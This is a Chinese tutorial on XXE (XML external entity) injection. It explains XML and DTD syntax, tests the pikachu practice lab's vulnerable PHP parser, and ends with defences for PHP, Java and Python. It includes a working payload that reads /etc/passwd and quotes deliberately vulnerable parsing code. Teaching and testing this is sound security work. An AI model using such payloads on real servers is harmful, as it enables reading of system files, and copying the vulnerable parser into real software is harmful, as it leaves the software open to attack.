概述
什么是xml?
xml一般指可扩展标记语言
可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。
漏洞测试说明
XXE -“xml external entity injection”
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
这个Libxml 版本必须在2.9.0之前的版本
<!--第一部分:XML声明-->
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTD-->
<! DOCTYPE note[<!--定义此文档是note类型的文档-->
<! ENTITY entity-name SYSTEM"URL/URL"><!--外部实体声明
]]]>
<!--第三部分:文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head> Reminder</head>
<body> You are a good man</body>
</note>
DTD 简介
其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
外部实体例
外部实体引用 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
外部引用可以支持http,file,ftp等协议。
如果一个接口支持接收xm|数据,且没有对xml数据做任何安全上的措施,就可能导致XXE漏洞
simplexml_load_string()
函数转换形式良好的XML 字符串为 SimpleXMLElement 对象。
实验测试
打开pikachu的xxe,我们先查看他的后端代码,我们可以看到他是通过post请求来获取到前端的xml数据,然后直接给simplexml_load_string()函数进行解析,然后将解析的数据再返回到前端
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>
正常xml
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "XXE kaikai">
]>
<name>&hacker;</name>
可以看到直接将我们DTD中的值给返回了
问题xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
这个测试还是只能在liunx部署的情况才可以实现
防范建议
1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的XML数据
如:<!DOCTYPE和<!ENTITY,SYSTEM和PUBLIC